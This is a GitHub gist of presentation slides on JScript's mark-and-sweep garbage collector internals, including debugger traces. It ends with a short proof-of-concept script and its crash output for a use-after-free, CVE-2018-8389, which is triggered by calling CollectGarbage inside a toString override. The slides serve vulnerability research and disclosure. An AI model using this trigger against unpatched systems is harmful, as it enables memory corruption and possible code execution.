Skip to content

Instantly share code, notes, and snippets.

@sudhackar
Last active March 5, 2021 16:31
Show Gist options
  • Star 10 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save sudhackar/20eef22e8790ee05a3b325513daf858b to your computer and use it in GitHub Desktop.
Save sudhackar/20eef22e8790ee05a3b325513daf858b to your computer and use it in GitHub Desktop.

Garbage Collection Internals of JScript


whoami

$ HANDLE=sudhackar
$ whereis $HANDLE
Payatu Technologies
$ man $HANDLE
RE, Fuzzing and Exploit Dev shenanigans
$ info $HANDLE
CTFs with RE/pwn/Crypto @ ByteBandits, IITI

JScript

  • Microsoft implementation of the ECMA 262 spec (ECMAScript Edition 3)
  • interpreted, object-based scripting language
  • fewer capabilities than full-fledged object-oriented languages like C++, but than sufficiently powerful for its intended purposes.

Scope

  • default engine for IE3 - IE8
  • deprecated in IE9 in favour of JScript9 (chakra)
  • but still accessible in upto IE11 by IE8 compatibility mode
  • not much here?

Wider Scope

  • Windows Web Proxy Auto-Discovery(WPAD)
  • Essentially executes JS code in SYSTEM context
import win32inet
import random

hinternet = win32inet.WinHttpOpen("test", 0, "", "", 0)

wpad_opt = (2, 0, u"http://server/x.js?%x" % random.getrandbits(64), None, 0, 1)

proxy = win32inet.WinHttpGetProxyForUrl(hinternet, u"http://www.google.com", wpad_opt)

print proxy

RCE+LPE in a bug*




* conditions apply

Features

  • No JIT
  • Simple Datatypes, VARs
  • Simple nongenerational mark-and-sweep garbage collector
  • No Execution pipeline, monolithic interpreter loop
  • No separation, threading.

Objects in JScript

  • Objects allocated on JScript's heap(MSVCRT malloc+free) as a VARIANT or linked VARIANTs
  • Strings from OLEAUT32 api as BSTR
  • VARIANT is 0x18 bytes in x64
  • First dword is VT_TYPE(integer, float, str, object)
  • Second qword is ptr/value based on VT_TYPE

Why GC?

  • malloc+free in C, maintained by user (hard)
  • memory management is crucial to a program's performance
  • JS is dynamic. User has no control over memory management.
  • CollectGarbage in JScript whenever you feel to free some space
  • counts number of objects/members/VARs allocated in the execution loop
  • triggered to clear/free some memory on threshold allocations

How?


GcBlock

  • ledger for all var, strings and related objects
  • doubly linked list (0x10)
  • each block stores 100 VARIANTs (0x18*100)
struct GcBlock{
    struct GcBlock * prev;
    struct GcBlock * next;
    VARIANT mem[100];
};

init

GcBlockFactory::GcBlockFactory ( 0x7feed6d2758L )
GcBlockFactory::GcBlockFactory+2a returns 0x7feed75d090L
GcContext::EnsureGc (  )
	GcContext::New ( 0x4f95f70, 0x24ea50 )
		GcContext::GcContext ( 0x4f96030, 0x4f95f70 )
		GcContext::GcContext+a9 returns 0x4f96030
		GcContext::Init ( 0x4f96030 )
		GcContext::Init+118 returns 0x0
	GcContext::New+75 returns 0x0
GcContext::EnsureGc+54 returns 0x0

When more objects are created

GcAlloc::PvarAlloc ( 0x4f9c580 )
	GcBlockFactory::PblkAlloc ( 0x4f9c580 )
	GcBlockFactory::PblkAlloc+59 returns 0x4f9c630
	GcBlock::Link ( 0x4f9c630, 0x4f9c598 )
	GcBlock::Link+46 returns 0x0
GcAlloc::PvarAlloc+8c returns 0x4f9cf88

CollectGarbge

  • Can be forced from JS code, calls JsCollectGarbage
  • Automatically based on number of allocations, calls GcContext::Collect
  • Mark and Sweep follows

Mark

  • Traverse the GcBlock linked list
  • For each GcBlock, iterate over master VARIANTS and mark it for cleaning/sweeping
GcContext::SetMark ( 0x4f96030 )
    GcAlloc::SetMark ( 0x4f9c580 )
    GcAlloc::SetMark+5d returns 0x1
GcContext::SetMark+74 returns 0x1

Scavenge

  • Enumerate all reachable objects from roots or Scavengers
  • Each object type has its own root to look into the scope chain
  • Clear the GC mark. 11th bit in VT_TYPE(0x800, 2048, &=0xf7ff)
ObjectRegistration::ScavengeRoots ( 0x4f9df40 )
    FncObj::ScavengeCore ( 0x4f9df00, 0x4f96030 )
        GcContext::ScavengeVar ( 0x4f96030, 0x4f9df30 )
        GcContext::ScavengeVar+2a returns 0x4f9cf70
    FncObj::ScavengeCore+77 returns 0x4f9cf70
ObjectRegistration::ScavengeRoots+6e returns 0x4f9cf70
VarStack::ScavengeRoots ( 0x4f961d0 )
VarStack::ScavengeRoots+a1 returns 0x4f9cf40
ObjectRegistration::ScavengeRoots ( 0x4f9d170 )
    ScrFncObj::ScavengeCore ( 0x4f9d130, 0x4f96030 )
    ScrFncObj::ScavengeCore+9e returns 0x4f9cf70
ObjectRegistration::ScavengeRoots+6e returns 0x4f9cf70
ObjectRegistration::ScavengeRoots ( 0x4f96840 )
    VAR::Scavenge ( 0x4f96868, 0x4f96030 )
        GcContext::ScavengeVar ( 0x4f96030, 0x4f96870 )
        GcContext::ScavengeVar+2a returns 0x4f9cf40
    VAR::Scavenge+27 returns 0x4f9cf40
    NameTbl::ScavengeCore ( 0x4f96800, 0x4f96030 )
        NameList::ScavengeRoots ( 0x4f969d0, 0x4f96030 )
        NameList::ScavengeRoots+65 returns 0x4f9ce08
    NameTbl::ScavengeCore+57 returns 0x4f9ce08
ObjectRegistration::ScavengeRoots+6e returns 0x4f9ce08
ScavVarList::ScavengeRoots ( 0x4f96618 )
    GcContext::ScavengeVar ( 0x4f96030, 0x4f96440 )
    GcContext::ScavengeVar+2a returns 0x4f9ceb0
    GcContext::ScavengeVar ( 0x4f96030, 0x4f96488 )
    GcContext::ScavengeVar+2a returns 0x4f9cf70
    GcContext::ScavengeVar ( 0x4f96030, 0x4f964b8 )
    GcContext::ScavengeVar+2a returns 0x4f9cf88
ScavVarList::ScavengeRoots+5c returns 0x18
GCRootStack::ScavengeRoots ( 0x4f96650 )
GCRootStack::ScavengeRoots+61 returns 0x4f9cf58

Sweep

  • VARIANTS still marked are out of scope
  • Sweep/Reclaim them, eventually call free()
			GcContext::Reclaim ( 0x4f96030, 0x2 )
				GcAlloc::ReclaimGarbage ( 0x4f9c580 )

				00000000`04f9ce20  00000000`00000808 00000000`01ab9ff8
				00000000`04f9ce30  00000000`00000000

					VariantClear ( 0x4f9ce20 )
					00000000`04f9ce20  00000000`00000008 00000000`01ab9ff8
					00000000`04f9ce30  00000000`00000000

					VariantClear+6b returns 0x0
					GcContext::Adapt ( 0x4f96030, 0x1, 0x11 )
					GcContext::Adapt+77 returns 0x6
				GcAlloc::ReclaimGarbage+24a returns 0x6
				GcContext::NormalizeBuckets ( 0x4f96030 )
				GcContext::NormalizeBuckets+4c returns 0x24b978
			GcContext::Reclaim+128 returns 0x1
		GcContext::CollectCore+1bb returns 0x1
	GcContext::Collect+43 returns 0x1
JsCollectGarbage+29 returns 0x0

test.js

var arr1 = new Object();
arr1.toString = function(){ CollectGarbage(); };
var arrs = new Array(0x7fff);
var z = new ActiveXObject(arrs, [arr1]);

crash?

(8dc.5ac): Access violation - code c0000005 (first chance)
jscript!GetObjectFromProgID+0x46:
000007fe`edac0360 8b42fc          mov     eax,dword ptr [rdx-4] ds:00000000`01b49ff4=????????
0:000> kc
 # Call Site
00 jscript!GetObjectFromProgID
01 jscript!JsCreateObject2
02 jscript!ActiveXObjectFncObj::Construct
03 jscript!NameTbl::InvokeInternal
04 jscript!VAR::InvokeByDispID
05 jscript!CScriptRuntime::Run
06 jscript!ScrFncObj::CallWithFrameOnStack
07 jscript!ScrFncObj::Call
08 jscript!CSession::Execute
09 jscript!COleScript::ExecutePendingScripts
0a jscript!COleScript::SetScriptState
0b cscript!CHost::RunStandardScript
0c cscript!CHost::Execute
0d cscript!CHost::Main
0e cscript!main
0f cscript!_mainCRTStartup
10 cscript!mainCRTStartup
11 kernel32!BaseThreadInitThunk
12 ntdll!RtlUserThreadStart

Why?

  • JsCreateObject2 and JsGetObject2 both call VAR::GetValue on 2 objects.
  • VAR::GetValue eventually triggers JsArrayToString which calls toString of each element in the array

...

  • BSTR returned from first call to VAR::GetValue is not properly scavenged
  • In second call to VAR::GetValue, CollectGarbage can be triggered from toString of last element of the array.
  • This will eventually free the BSTR but still have a reference to it on JsCreateObject2 stack

...

  • Used later in GetObjectFromProgID
  • Use After Free in JScript, CVE-2018-8389
  • Can potentially lead to ...

How did we get here?

  • Fuzzing with our internal fuzzer Cloudfuzz
  • aPAColypse by Project Zero
  • Manual analysis, some duplicate bugs
  • Post Crash with IDA and Pykd
  • If you like windbg and python you'll love pykd
  • Pykd is great

Questions?


Thankyou

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment